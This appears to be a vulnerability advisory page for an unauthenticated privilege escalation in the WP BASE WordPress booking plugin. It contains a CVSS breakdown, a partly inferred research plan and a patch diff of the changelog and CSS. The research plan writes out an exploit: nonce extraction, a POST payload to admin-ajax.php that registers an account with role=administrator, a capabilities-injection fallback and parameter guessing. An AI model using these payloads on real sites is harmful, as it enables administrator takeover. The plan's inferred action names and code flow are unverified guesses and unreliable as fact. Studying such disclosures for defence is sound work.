CVE-2026-39587

WP BASE Booking of Appointments, Services and Events <= 5.9.0 - Unauthenticated Privilege Escalation

criticalImproper Privilege Management
9.8
CVSS Score
9.8
CVSS Score
critical
Severity
6.0.0
Patched in
8d
Time to patch

Description

The WP BASE Booking of Appointments, Services and Events plugin for WordPress is vulnerable to Privilege Escalation in all versions up to, and including, 5.9.0. This makes it possible for unauthenticated attackers to elevate their privileges to that of an administrator.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
High
Confidentiality
High
Integrity
High
Availability

Technical Details

Affected versions<=5.9.0
PublishedApril 8, 2026
Last updatedApril 15, 2026

What Changed in the Fix

Changes introduced in v6.0.0

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

This research plan targets a critical unauthenticated privilege escalation vulnerability in the **WP BASE Booking of Appointments, Services and Events** plugin. ### 1. Vulnerability Summary The vulnerability is an **Improper Privilege Management** issue (CVSS 9.8) that allows unauthenticated users …

Show full research plan

This research plan targets a critical unauthenticated privilege escalation vulnerability in the WP BASE Booking of Appointments, Services and Events plugin.

1. Vulnerability Summary

The vulnerability is an Improper Privilege Management issue (CVSS 9.8) that allows unauthenticated users to register as or elevate their privileges to the Administrator role. This typically occurs in the plugin's custom user registration or profile update AJAX handlers, where user-supplied input is passed to WordPress core functions like wp_insert_user, wp_update_user, or update_user_meta without filtering restricted fields such as role or wp_capabilities.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Action: app_registration (inferred from plugin naming conventions) or app_submit_registration.
  • Vulnerable Parameter: role or meta[wp_capabilities].
  • Authentication: None (Unauthenticated).
  • Preconditions: The plugin must have its registration feature active (usually enabled via a shortcode or in the "Marketplace" / "Registration" settings).

3. Code Flow (Inferred)

  1. Entry Point: An unauthenticated user sends a POST request to admin-ajax.php with the action app_registration (likely hooked via wp_ajax_nopriv_app_registration).
  2. Handler: The handler function (e.g., WpB_Registration::register_user) processes $_POST data.
  3. Vulnerability: The code likely extracts all POST parameters and passes them into a configuration array for wp_insert_user($userdata).
  4. Sink: If $userdata['role'] is not explicitly unset or hardcoded to 'subscriber'/'client', WordPress core will assign the role specified in the POST request (e.g., 'administrator').

4. Nonce Acquisition Strategy

The plugin typically enqueues frontend scripts and localizes them with a nonce if the registration or booking shortcode is present on a page.

  • Shortcode: [app_book] or [app_registration] (inferred).
  • JS Variable: app_data (grounded in typical WP BASE localized keys).
  • Nonce Key: nonce (grounded).
  • Strategy:
    1. Create a temporary page with the booking shortcode.
    2. Navigate to the page.
    3. Extract the nonce from window.app_data.nonce.

5. Exploitation Strategy

The goal is to register a new user with the administrator role.

Step 1: Identify Nonce and Action
Use browser_navigate to the homepage or a page with the shortcode and run:

// Browser Eval
console.log(window.app_data);

Step 2: Submit Registration Payload
Send a POST request to admin-ajax.php using the http_request tool.

  • URL: http://localhost:8080/wp-admin/admin-ajax.php
  • Method: POST
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Payload:
    action=app_registration&
    nonce=[EXTRACTED_NONCE]&
    user_login=hacker_admin&
    user_email=hacker@example.com&
    user_pass=Password123!&
    role=administrator&
    first_name=Hacker&
    last_name=Admin
    

Note: If role is ignored, try the meta-injection variant:
...&meta[wp_capabilities][administrator]=1

6. Test Data Setup

  1. Install Plugin: Ensure WP BASE (<= 5.9.0) is active.
  2. Create Registration Page:
    wp post create --post_type=page --post_title="Register" --post_status=publish --post_content='[app_book]'
    
  3. Enable Registration (If needed): Ensure the plugin's "Marketplace" or "Registration" settings allow frontend signups (this is often the default or enabled via vendor/client settings).

7. Expected Results

  • Response: A successful JSON response (e.g., {"success":true,...}) or a redirect indicating account creation.
  • Outcome: A new user record is created in the wp_users table.
  • Privilege: The new user is assigned the administrator role in the wp_usermeta table under the wp_capabilities key.

8. Verification Steps

After the exploit, use WP-CLI to confirm the new user's role:

# Check if the user exists and has the admin role
wp user list --role=administrator

# Check specific user details
wp user get hacker_admin

9. Alternative Approaches

If app_registration fails or requires high authentication:

  • Profile Update: If the plugin has an app_save_profile action for logged-in clients, register as a low-level "Client" first, then use that session to POST role=administrator to the profile update endpoint.
  • Vendor Registration: Use the Marketplace vendor registration flow ([app_vendor_services]) if the primary booking registration is restrictive.
  • Parameter Guessing: If role doesn't work, try user_role, capabilities, or app_role. Check css/admin.css identifiers like app_users_vendor for hints on how roles are handled internally.
Research Findings
Static analysis — not yet PoC-verified

Summary

The WP BASE Booking of Appointments, Services and Events plugin for WordPress is vulnerable to unauthenticated privilege escalation in versions up to and including 5.9.0. This vulnerability allows an unauthenticated attacker to register a new account with the 'administrator' role by exploiting insufficient validation of the user role parameter in the plugin's registration handlers.

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/wp-base-booking-of-appointments-services-and-events/5.9.0/changelog.txt /home/deploy/wp-safety.org/data/plugin-versions/wp-base-booking-of-appointments-services-and-events/6.0.0/changelog.txt
--- /home/deploy/wp-safety.org/data/plugin-versions/wp-base-booking-of-appointments-services-and-events/5.9.0/changelog.txt	2026-01-06 00:50:56.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/wp-base-booking-of-appointments-services-and-events/6.0.0/changelog.txt	2026-03-10 03:42:22.000000000 +0000
@@ -1,4 +1,19 @@
-V5.9.0

+V6.0.0 March 9, 2026

+- New: Clients can view their bookings in Schedules and use it to edit their bookings

+- New: Commissions can be paid with Stripe Connect 

+- Tweak: Better caching for Schedules

+- Tweak: Datatables assets separated, reducing file size loaded on booking pages

+- Change: Front End Edit addon has been retired and its functions integrated into the core

+- Dev: moment.js will now be used from WP library

+- Fix: Date/time columns of List of Bookings, Credit History and Vendor Commissions tables are not sorted correctly

+

+V5.9.1

+- Tweak: In Online Meetings, Agora video interface is renewed and SDK updated

+- Tweak: Grid element support for [app_vendor_services] shortcode

+- Change: In Google Calendar, when service providers use their calendar, and Google Meet is activated, website account no more records Meet and sends invitation (otherwise there will be two invitations)

+- Fix: In Recurring Appointments, when a booking is created on admin side, UDF values of parent are not copied to children

+

+V5.9.0 January 5, 2026

 - New: Additional log file for API messages and setting changes. Log display can be reversed

 - New: In Marketplace, new shortcode [app_vendor_services] to display list of services by the vendor

 - Tweak: PHP 8.4 compatibility for Twilio API

@@ -15,13 +30,13 @@
 - Fix: A test code writes list of Extras to the log file

 - Fix: Whenever a WooCommerce product with [app_book] shortcode is saved, an unnecessary variation is created

 

-V5.8.1

+V5.8.1 November 29, 2025

 - Tweak: Compatibility with WordPress 6.9

 - Tweak: Calendar Design can be selected in Setup Wizard

 - Fix: In Digital Wallet, when "Sell Credits/Packages with WooCommerce" option is selected, purchasing regular product with WooCommerce results in wrong name in order form and email (name of the credit plan or package is displayed instead of the product)

 - Fix: Some WP BASE integrated WooCommerce actions create log records that include HTML tag which cannot be properly displayed in log file

 

-V5.8.0

+V5.8.0 October 16, 2025

 - New: Calendar design "minimalistic"

 - New: Service package plan bundles in Digital Wallet

 - Change: Payment Gateways Paymill and Simplify retired

@@ -36,7 +51,7 @@
 - Fix: With Zoom integration when a booking edited another Zoom meeting is created instead of editing the original one

 - Fix: Time Variant Durations should not show other providers in Marketplace

 

-V5.7.0

+V5.7.0 August 23, 2025

 - New: In Marketplace, new setting "GD Pricing Manager Packages" allows only selected packages to create vendors

 - New: When an author in the bio CPT is not a vendor, or a suspended vendor his/her booking calendar can be hidden with the new "Hide Non-Vendor Booking Calendars" setting

 - New: When new setting Adjust Font Color is set to yes, calendar fonts are automatically adjusted to be white or black

@@ -58,7 +73,7 @@
 - Fix: Digital Wallet sales success does not return confirmation form

 - Fix: "get_workers_by_location" function gives no results during ajax update 

 

-V5.6.0

+V5.6.0 July 11, 2025

 - New: Multi Store support for Marketplace, i.e. vendors can employ their own service providers and manage their team's services, bookings and working hours

 - Tweak: Multiple categories are now selectable in [app_book] shortcode

 - Tweak: Event Bookings - Zoom integration

@@ -71,7 +86,7 @@
 - Fix: Locations does not obey sort order menu ordering

 - Fix: If Zoom topic and/or agenda have double quotes, Zoom details cannot be shown in the related booking record

 

-V5.5.0

+V5.5.0 May 10, 2025

 - Tweak: Clients admin page UI change

 - Dev: Refactoring in several files

 

@@ -83,7 +98,7 @@
 - Fix: Missing BuddyPress Groups/Locations integration setting in admin Locations

 - Fix: PHP error in admin Locations when filtering with service

 

-V5.4.0

+V5.4.0 March 29, 2025

 - Tweak: Locations admin UI rewritten

 - Tweak: In admin Vendors, suspension reason now can be seen in Logs

 - Tweak: UDFs which are set as "register" and set by the vendor on their settings can now be used in emails

@@ -100,13 +115,13 @@
 - Fix: Shortcode TinyMCE inserter does not show up

 - Fix: Registration UDF fields cannot be edited unless user is client and vendor at the same time

 

-V5.3.0

+V5.3.0 March 4, 2025

 - New: WooCommerce product name can be set in Digital Wallet

 - Fix: PHP to moment time format conversion does not take care of escaped characters

 - Fix: Schedules do not show reserved bookings for providers

 - Fix: Conflict about Stripe API library with Paid Member Subscriptions plugin

 

-V5.2.0

+V5.2.0 February 16, 2025

 - New: Client Approval for Multi Vendor Marketplace

 - Tweak: Caching in Schedules

 - Tweak: Guest names and guest emails can be exported in CSV file

@@ -119,7 +134,7 @@
 - Fix: For services longer than 1 day and Group Bookings enabled, future availability may be less than it is supposed to be

 - Fix: Some bookings may be marked as completed earlier than they are supposed to be

 

-V5.1.0

+V5.1.0 January 24, 2025

 - New: Completely new Schedules system based on Event Calendar JavaScript library

 - New: Background color setting in services

 - New: Providers can register user when entering manual booking

@@ -129,7 +144,7 @@
 - Change: Default select element menu height is 8 now (was 4)

 - Change: On front end default qtip mode is now "solo" (only one qtip can be open at a time)

 

-V5.0.0

+V5.0.0 December 18, 2024

 - New: Selling expirable service packages using Digital Wallet addon (Formerly Credits addon) 

 - New: Register and Login at checkout

 - New: Calendar Time Slot Display selection option "Fixed start/end"

@@ -142,18 +157,18 @@
 - Fix: Better Messages button does not show in BP list of bookings

 - Fix: Hardening of codes for malicious attempts

 

-V4.9.2

+V4.9.2 December 14, 2024

 - New: Zoom meetings can be deleted by WP BASE upon change of booking status, e.g. when booking is removed

 - Change: By default Zoom meetings are created only for paid and confirmed status. Other statuses can be setup in Zoom settings

 - Tweak: Better handling of deleting Google Calendar events

 - Fix: PHP error in Ultimate Member Book Me page

 

-V4.9.1

+V4.9.1 October 27, 2024

 - Tweak: Improvements in Setup Wizard

 - Tweak: Better support for themes having pages with narrow container width

 - Fix: PHP warning in front.ajax when updating calendars

 

-V4.9.0

+V4.9.0 October 23, 2024

 - New: Setup Wizard

 - New: Calendar Time Slot Display setting allows time slot display selection globally. Default display mode is "with_break" now

 - New: "Default" time slot color set

@@ -166,7 +181,7 @@
 - Fix: Seasonal Working Hours schedule is not applied for the last week of the year

 - Fix: In PHP8.3, warning message in admin Dashboard when there are no providers

 

-V4.8.0

+V4.8.0 September 26, 2024

 - Tweak: Flexslider is not refreshed at first load now, thus flickering of images are prevented

 - Tweak: Admin email subjects are now specific for pending and confirmed bookings

 - Fix: Uploaded video may not be displayed in Multi Vendor Marketplace Geodirectory integration

@@ -193,7 +208,7 @@
 - Fix: When service duration is 1 day and Selectable Durations not configured, JavaScript error prevents opening of the checkout form

 - Fix: Single Click Booking summary info shows updated service instead of service of the selected slot after calendar updated

 

-V4.7.0

+V4.7.0 August 23, 2024

 - New: 1 month to 12 months service duration can be selected in Selectable Durations 

 - Fix: When editing an admin booking record, checking/unchecking send email check box affects other UDF check boxes

 - Fix: PHP8 error when a non logged in user makes a booking and UDF addon enabled

@@ -204,7 +219,7 @@
 V4.6.1

 - Tweak/Fix: Old confirmation form is not working for Event Bookings. Replaced with the new Checkout form

 

-V4.6.0

+V4.6.0 August 04, 2024

 - New: Confirmation Form now uses the same markup and styling of Flex Steps Checkout

 - Change: Remember Me field retired

 - Change: Several settings about confirmation form layout and css have been retired

@@ -214,7 +229,7 @@
 - Fix: When service duration is exactly 7 days, service availabilities are incorrect

 - Fix: Deprecated messages in PHP8.3.9

 

-V4.5.0

+V4.5.0 June 29, 2024

 - New: Booking lasting longer than 24 hours are displayed on a monthly calendar on admin schedules and provider/owner account

 - Tweak: WordPress V6.6 tested for compatibility

 - Tweak: Flex Steps now support Shopping Cart

@@ -223,7 +238,7 @@
 - Fix: Permanently Delete Selected Records button is not working

 - Fix: WooCommerce Order ID is not displayed in admin bookings in HPOS if compatibility mode deactivated

 

-V4.4.0

+V4.4.0 June 04, 2024

 - New: "Flex Steps" booking process

 - Tweak: Admin can upload provider and vendor avatar

 - Tweak: Admin can enter description for provider

@@ -247,7 +262,7 @@
 - Fix: Clients do not have audio and video buttons in Agora meetings

 - Fix: Export Bookings check box names are not translatable

 

-V4.3.0

+V4.3.0 April 10, 2024

 - New: Integration with Better Messages: Now vendors and clients can write each other at meeting and waiting room pages. Users can send message to vendor at their bio pages

 - New: Each service can be selected to have Online Meeting or not

 - New: New shortcode [app_vendor_meta] which prints vendor info on bio page

@@ -270,14 +285,14 @@
 - Fix: CSS conflict of flexslider in Listeo theme

 - Fix: Commissions tab on account page should not show up if user is not vendor

 

-V4.2.0

+V4.2.0 February 26, 2024

 - New: List of Bookings can be printed

 - New: Credit history and Commissions list can be printed

 - Tweak: WP6.5 compatibility

 - Fix: Flexslider conflicts with WooCommerce default theme Storefront

 - Fix: When slider is active, category opt_group should not be on

 

-V4.1.0

+V4.1.0 February 6, 2024

 - Change: On user profile settings, only vendors can set WP fields (name, email, first name, last name ), for the rest users these fields are readonly

 - Tweak: Better sync with WP fields in Vendors, Clients and user profile

 - Fix: Preferred Language selection at profile is not reflected to displayed language

@@ -295,7 +310,7 @@
 - Fix: Not possible to use Jitsi and Agora at the same website

 - Fix: After vendors edit a service, they lose ownership

 

-V4.0.1

+V4.0.1 January 12, 2024

 - Tweak: Credit records can be individually deleted

 - Tweak: Note can be written when adding a credit record

 - Tweak: PERSON_TYPES placeholder can be used in email templates

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/wp-base-booking-of-appointments-services-and-events/5.9.0/css/admin.css /home/deploy/wp-safety.org/data/plugin-versions/wp-base-booking-of-appointments-services-and-events/6.0.0/css/admin.css
--- /home/deploy/wp-safety.org/data/plugin-versions/wp-base-booking-of-appointments-services-and-events/5.9.0/css/admin.css	2026-01-06 00:59:06.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/wp-base-booking-of-appointments-services-and-events/6.0.0/css/admin.css	2026-03-10 03:48:28.000000000 +0000
@@ -558,6 +558,9 @@
 .app-workers .app-upload-image-btn,

 .app-vendors .app-upload-image-btn {

 	max-width: 96px;

+	height: 30px;

+	min-height: 30px;

+	line-height: 30px;

 }

 

 .app-workers .app-upload-image-btn::before,

@@ -947,10 +950,19 @@
 .app-manage-row select {

 	float: none;

 	font-size: 9px;

-	height: 28px;

+	height: 30px;

+	min-height: 30px;

+	line-height: 30px;

 	padding: 0 24px 0 8px;

 }

 

+[class*="wp-base-dev_page_app"]:not(.wp-base-dev_page_app_bookings) .app-manage-row select,

+[class*="wp-base-dev_page_app"]:not(.wp-base-dev_page_app_bookings) .postbox .app-actions select,

+.app-account-page:not(.app-account-manage) .app-manage-row select,

+.app-account-page:not(.app-account-manage) .postbox .app-actions select{

+	font-size: 12px;

+}

+

 .app-manage select {

 	max-width: 300px;

 	width: 100%;

@@ -1261,6 +1273,9 @@
 	#wpbody-content .app-page .actions form select {

 		max-width: 120px;

 	}

+	[class*="wp-base-dev_page_app"]:not(.wp-base-dev_page_app_bookings) #wpbody-content .app-page .actions form select {

+		max-width: 150px;

+	}

 }

 

 @media screen and (max-width: 360px) {

@@ -1304,6 +1319,23 @@
 	margin-bottom: 10px;

 }

 

+.wp-core-ui .app-page select,

+.wp-core-ui .app-page input[type=text]{

+	min-height: 30px;

+	height: 30px;

+	line-height: 30px;

+}

+

+.wp-core-ui .app-page select {

+	background-position: right 3px top 60%;

+}

+

+.wp-core-ui .app-page .button-secondary {

+	min-height: 30px;

+	height: 30px;

+    line-height: 30px;

+}

+

 @media screen and (max-width: 782px) {

 	.user-inner .booking-info::before {

 		content: '\00B7';

@@ -1526,7 +1558,7 @@
 .app-crowded input:not([type="checkbox"]) {

 	font-size: 11px;

 	line-height: 12px;

-	min-height: 28px;

+	min-height: 30px;

 	font-weight: normal;

 }

 

@@ -1862,6 +1894,9 @@
 	min-width: 100px;

 	margin-left: 30px;

 	vertical-align: baseline;

+	height: 30px;

+	min-height: 30px;

+	line-height: 30px;

 }

 

 div.addon-set-info {

@@ -2002,7 +2037,7 @@
 

 .app-4col .ui-multiselect {

 	width: 100%;

-	min-height: 32px;	

+	min-height: 32px;

 }

 

 .app-flex .app-wh-list.ui-multiselect {

@@ -2109,7 +2144,9 @@
 

 #wpbody-content .app-page .button {

 	font-size: 13px;

-	height: 28px;

+	height: 30px;

+	min-height: 30px;

+	line-height: 30px;

 }

 

 #app-service-reset-form .button {

@@ -2119,7 +2156,6 @@
 #app_export_csv_button {

 	width: auto;

 	white-space: normal;

-	height: auto

 }

 

 .app-page #poststuff h3.hndle {

@@ -2263,13 +2299,14 @@
 #app-bulk-change-form,

 #app-search-form {

 	display: flex;

-	gap: 5px;

+	gap: 3px;

 	flex-wrap: wrap;

 }

 

 #app-search-form select {

 	float: none;

 	height: 30px;

+	min-height: 30px;

     padding: 0 24px 0 8px;

 	margin: 1px 3px 3px 0;

 }

@@ -2306,8 +2343,9 @@
 	width: initial;

 	margin: 1px 3px 1px 1px;

 	padding: 0 8px;

-	height: 28px;

-	line-height: 28px;

+	height: 30px;

+	min-height: 30px;

+	line-height: 30px;

 	/* background-image: url(../images/search.svg); */

 	/* background-repeat: no-repeat; */

 	/* background-size: 16px; */

@@ -2806,6 +2844,7 @@
 }

 

 #credit-plans table .app-plan-price {

+	min-width: 65px !important;

 	max-width: 80px !important;

 }

 

@@ -3297,6 +3336,14 @@
 /* Editor Widget -------------------------------------------------------------- */

 /** * from WP Editor Widget plugin V 0.5.5 * Author: David M&aringrtensson, Odd Alice */

 

+iframe#WpB_Editor_Widget_ifr {

+    min-height: 350px;

+}

+

+#wp-WpB_Editor_Widget-wrap {

+	margin-bottom: 20px;

+}

+

 #app-editor-widget-container {

 	position: fixed;

 	top: 30px;

@@ -3305,6 +3352,7 @@
 	bottom: 30px;

 	z-index: 50100;

 	background: #fff;

+	min-height: 300px;

 }

 

 #app-editor-widget-backdrop {

@@ -3510,7 +3558,8 @@
 }

 

 .app-controls .app-actions select {

-	height: 28px;

+	height: 30px;

+	min-height: 30px;

     max-width: 160px;

     font-size: 10px;

 }

@@ -4130,6 +4179,11 @@
 	width: 100%;

 }

 

+#services-table textarea.stripped-content {

+	height: 65px;

+	margin-bottom: 3px;

+}

+

 #services-table .app_iedit_workers textarea {

 	height: 96px;

 }

@@ -4311,6 +4365,12 @@
     font-size: 13px;

 }

 

+.dataTables_length label {

+    display: flex;

+    align-items: center;

+    gap: 5px;

+}

+

 #credit-plans div.fg-toolbar,

 #mv-commission-rates div.fg-toolbar,

 .inline-edit-row .dataTables_length,

@@ -4577,606 +4637,3 @@
 .app-setup-wrap .form-table th.app-samples {

 	font-weight: 400;

 }

-

-/*--------------------------------------------------------------

-*** Schedules

---------------------------------------------------------------*/

-

-#app-schedules .app-front-admin h2 {

-	margin: 0;

-}

-

-#app-schedules .ec-week-view .ec-event.long,

-#app-schedules .ec-day-view .ec-event.long {

-	display:none;

-}

-

-.app-schedules-group {

-	position: relative;

-	margin-left: -20px;

-}

-

-.app-account-page .app-schedules-group {

-	margin-left: 0;

-}

-

-.app-schedules-group #app-navbar {

-	z-index: 100;

-	overflow: hidden;

-}

-

-#schedules-filter .app-dash-title {

-	display: none;

-}

-

-#schedules-filter div.app-actions {

-	justify-content: space-around;

-    gap: 10px 20px;

-}

-

-#schedules-filter .app-filter-ms {

-	width: 180px;

-	max-width: 400px;

-}

-

-#schedules-filter .app-filter-stats {

-	width: 150px;

-	max-width: 200px;

-}

-

-#schedules-filter .app-filter-weekdays {

-	width: 120px;

-	max-width: 200px;

-}

-

-#schedules-filter button.ui-multiselect {

-	width: 100%;

-}

-

-.app-filter-services.app-filter-ms {

-    flex-grow: 2;

-}

-

-.app-filter-workers.app-filter-ms {

-    flex-grow: 0.5;

-}

-

-.has-color .ui-multiselect-checkboxes label span {

-    margin-right: auto;

-}

-

-.has-color .ui-multiselect-checkboxes label {

-    display: flex;

-    padding: 3px 1px 3px 3px;

-    text-indent: 0;

-    justify-content: space-between;

-}

-

-.has-color .ui-multiselect-checkboxes a.pickcolor {

-	width: 20px;

-	padding: 0;

-	margin-right: 3px;

-	cursor: default;

-}

-

-.has-color .ui-multiselect-checkboxes input {

-	align-self: center;

-}

-

-body[class*="schedules"] .ui-multiselect-header.ui-widget-header,

-body.app-account-schedules .ui-multiselect-header.ui-widget-header {

-	font-size: 11px;

-}

-

-body[class*="schedules"] .ui-multiselect-header.ui-widget-header a,

-body.app-account-schedules .ui-multiselect-header.ui-widget-header a {

-	display: flex;

-	align-items: center;

-}

-

-body[class*="schedules"] .ui-multiselect-menu,

-body.app-account-schedules .ui-multiselect-menu {

-	z-index: 1010;

-}

-

-body[class*="schedules"] .app-users-quick-book.ui-multiselect-menu,

-body.app-account-schedules .app-users-quick-book.ui-multiselect-menu {

-	z-index: 10002;

-	font-size: 11.5px;

-}

-

-.bp-user .app-users-quick-book.ui-multiselect-menu span {

-	font-size: 11.5px !important;

-}

-

-#schedules-filter .app-schedule-picker {

-	width: 120px;

-}

-

-#schedules-filter .app-page .tablenav .actions {

-    padding-right: 20px;

-}

-

-.app-front-admin #schedules-filter div.app-actions {

-	margin-top: 10px;

-}

-

-.app-schedule-select.ui-widget {

-	font-size: 13px;

-}

-

-#schedules-filter .app-schedule-start {

-	position: absolute;

-	z-index:101;

-	opacity: 0;

-	width: 120px;

-	font-size: 13px;

-}

-

-#schedules-filter .app-schedule-start-alt {

-	z-index:100;

-	width: 120px;

-	font-size: 13px;

-}

-

-@media screen and (max-width: 782px) {

-	#schedules-filter input {

-		min-height: 30px;

-	}

-}

-

-#app-schedules {

-	-webkit-text-size-adjust: 100%;

-    -webkit-tap-highlight-color: transparent;

-    font-size: 1rem;

-    font-weight: 400;

-    line-height: 1.5;

-    color: #212529;

-    text-align: left;

-    background-color: transparent;

-	margin-left: 20px;

-}

-

-.app-account-page #app-schedules {

-	margin-left: 0;

-}

-

-#app-schedules .app-sched {

-    position: relative;

-    display: flex;

-    flex-direction: column;

-    min-width: 0;

-    word-wrap: break-word;

-    background-color: #fff;

-    background-clip: border-box;

-    border: 1px solid rgba(0, 0, 0, .125);

-    border-radius: .25rem;

-	margin-top: 0;

-    padding: 0;

-    max-width: none;

-    box-shadow: none;

-	box-sizing: border-box;

-}

-

-#app-schedules .app-sched-body {

-    flex: 1 1 auto;

-    min-height: 1px;

-    padding: 1.25rem;

-}

-

-#app-schedules .ec-toolbar {

-	flex-direction: row-reverse;

-}

-

-#app-schedules .ec-start {

-    display: flex;

-    flex-direction: row-reverse;

-}

-

-#app-schedules .ec-toolbar>*>:not(:last-child) {

-    margin-right: 0;

-}

-

-#app-schedules .btn-group,

-#app-schedules .btn-group-vertical {

-    position: relative;

-    display: inline-flex;

-    vertical-align: middle;

-}

-

-#app-schedules .btn-default:not(:disabled):not(.disabled).active,

-#app-schedules .btn-default:not(:disabled):not(.disabled):active {

-    color: #212529;

-    background-color: rgb(229.5, 229.5, 229.5);

-    border-color: rgb(169.6773255814, 180.125, 190.5726744186);

-}

-

-#app-schedules .btn-group>.btn-group:not(:last-child)>.btn {

-    border-top-right-radius: 0;

-    border-bottom-right-radius: 0;

-}

-

-#app-schedules .btn-default:hover {

-    color: #212529;

-    background-color: rgb(235.875, 235.875, 235.875);

-    border-color: rgb(176.9418604651, 186.5, 196.0581395349);

-}

-

-#app-schedules .btn-group-vertical>.btn,

-#app-schedules .btn-group>.btn {

-    position: relative;

-    flex: 1 1 auto;

-}

-

-#app-schedules .btn:hover {

-    color: #212529;

-    text-decoration: none;

-}

-

-#app-schedules .btn {

-    white-space: nowrap;

-}

-

-#app-schedules .btn {

-    display: inline-block;

-    font-weight: 400;

-    color: #212529;

-    text-align: center;

-    vertical-align: middle;

-    -webkit-user-select: none;

-    -moz-user-select: none;

-    user-select: none;

-    background-color: transparent;

-    border: 1px solid transparent;

-    padding: .375rem .75rem;

-    font-size: 1rem;

-    line-height: 1.5;

-    border-radius: .25rem;

-    transition: color .15s ease-in-out, background-color .15s ease-in-out, border-color .15s ease-in-out, box-shadow .15s ease-in-out;

-}

-

-#app-schedules .btn-default {

-    color: #212529;

-    background-color: #fff;

-    border-color: #ced4da;

-}

-

-#app-schedules .ec .ec-toolbar>*>:not(:first-child) {

-    margin-left: .75em;

-}

-

-#app-schedules .ec .ec-toolbar>*>:not(:first-child) {

-    margin-right: .75em;

-}

-

-#app-schedules .btn:not(:disabled) {

-    cursor: pointer;

-}

-

-#app-schedules .ec .ec-toolbar>*>* {

-    margin-bottom: .5em;

-}

-

-#app-schedules .btn-default:hover {

-    color: #212529;

-    background-color: rgb(235.875, 235.875, 235.875);

-    border-color: rgb(176.9418604651, 186.5, 196.0581395349);

-}

-

-#app-schedules .ec-event:not(.ec-pointer) {

-	cursor: pointer;

-    color: inherit;

-    padding: 2px 2px 2px 5px;

-    border-radius: 8px;

-	border: 1px solid #f0f0f0;

-	box-shadow: -.5px 0 0 #f0f0f0;

-    overflow: hidden;

-    display: flex;

-}

-

-#app-schedules .ec-week-view .ec-event,

-#app-schedules .ec-day-view .ec-event {

-	/* font-size: 12px; */

-}

-

-#app-schedules .ec-month-view .ec-event:not(.ec-pointer) {

-	outline: 2px solid #f0f0f0;

-}

-

-#app-schedules .ec-events {

-	cursor: cell;

-}

-

-#app-schedules .ec:not(.ec-month-view) .ec-events {

-	margin-right: 0;

-}

-

-#app-schedules .ec-month-view .ec-event,

-#app-schedules .ec-week-view:not(.ec-list) .ec-event.long,

-#app-schedules .ec-day-view:not(.ec-list) .ec-event.long,

-#app-schedules .ec-timeline .ec-event {

-	max-height: 48px;

-}

-

-#app-schedules .ec-month-view .ec-event {

-	left: 3px;

-}

-

-#app-schedules .ec-month-view .ec-events:not(.ec-preview) .ec-event:hover,

-#app-schedules .ec-week-view .ec-events:not(.ec-preview) .ec-event.long:hover,

-#app-schedules .ec-day-view .ec-events:not(.ec-preview) .ec-event.long:hover {

-	max-height: 100%;

-}

-

-#app-schedules .ec:not(.ec-timeline) .ec-events:not(.ec-preview) .ec-event:hover {

-    height: auto !important;

-    z-index: 99 !important;

-}

-

-#app-schedules .ec:not(.ec-timeline) .ec-events:not(.ec-preview) .ec-event:not(.long):hover {

-	width: max(100% , 144px) !important;

-}

-

-#app-schedules .ec:not(.ec-timeline) .ec-events:not(.ec-preview) .ec-event.long:hover {

-	min-width: 144px !important;

-}

-

-#app-schedules .ec.ec-timeline .ec-events.ec-preview .ec-event:hover {

-	width: 100% !important;

-}

-

-#app-schedules .ec-timeline .ec-event:hover {

-	max-height: unset;

-}

-

-#app-schedules .ec-timeline .ec-event:not(.long):hover {

-	width: 144px !important;

-}

-

-#app-schedules .ec-resource,

-#app-schedules .ec-timeline .ec-events {

-    min-height: 48px;

-}

-

-#app-schedules .ec-resource,

-#app-schedules .ec-timeline .ec-days {

-	flex-basis: 50px !important;

-}

-

-#app-schedules .ec-event-body {

-	display: block;

-}

-

-#app-schedules .ec-event-time {

-    position: relative;

-    font-weight: 700;

-    line-height: 1.3em;

-	margin: 0 3px 0 0;

-    max-width: 100%;

-    text-overflow: ellipsis;

-}

-

-#app-schedules .ec-event-title {

-    position: relative;

-    position: sticky;

-    line-height: 1.3em;

-	min-height: 1.5em;

-    text-overflow: ellipsis;

-    white-space: nowrap;

-}

-

-#app-schedules .ec-month-view .ec-event-time,

-#app-schedules .ec-month-view .ec-event-title,

-#app-schedules .ec-resource-day-view .ec-event-time,

-#app-schedules .ec-resource-day-view .ec-event-title {

-	line-height: 1.5em;

-}

-

-#app-schedules .ec-week-view .ec-event-time,

-#app-schedules .ec-week-view .ec-event-title {

-	line-height: 1.65em;

-}

-

-#app-schedules .ec-timeline .ec-body {

-	overflow-x: visible;

-	overflow-y: hidden;

-}

-

-.app-js-schedules .ec-bg-event {

-	cursor: not-allowed;

-}

-

-#app-schedules .ec-pointer,

-.app-js-schedules .ec-extra {

-    cursor: cell !important;

-}

-

-#app-schedules .ec-resource span {

-	padding-top: 0;

-}

-

-#app-schedules .ec-resource > span {

-	display: flex;

-    justify-content: space-between;

-	gap: 5px;

-	width: 100%;

-	max-width: 200px;

-	margin: auto;

-	padding-top: 4px;

-}

-

-#app-schedules .ec-resource .app-ec-title {

-    max-width: 150px;

-    line-height: 18px;

-	align-self: center;

-}

-

-#app-schedules .app-ec-img img.avatar {

-	border-radius: 5px;

-}

-

-.app-panel-wrap {

-  position: fixed;

-  top: 0;

-  bottom: 0;

-  right: 0;

-  width: 320px;

-  transform: translateX(100%);

-  transition: .3s ease-out;

-  z-index: 10000;

-}

-

-.app-panel-wrap.left {

-	left: 0;

-	transform: translateX(-100%);

-	transition: .3s ease-out;

-}

-

-.app-panel-wrap.open {

-  transform: translateX(0%);

-  transition: .3s ease-out;

-}

-

-.app-panel-wrap .app-dock-left span.dashicons {

-	margin: 0;

-}

-

-.app-panel-wrap .app-dock-left.button-secondary,

-.app-panel-wrap .app-close-panel.button-secondary {

-	line-height: 1.5;

-	padding: 5px;

-	position: absolute;

-	right: 22px;

-	top: 40px;

-	z-index: 10000;

-}

-

-.app-panel-wrap .app-close-panel.button-secondary {

-	left: 16px;

-	width: 32px;

-}

-

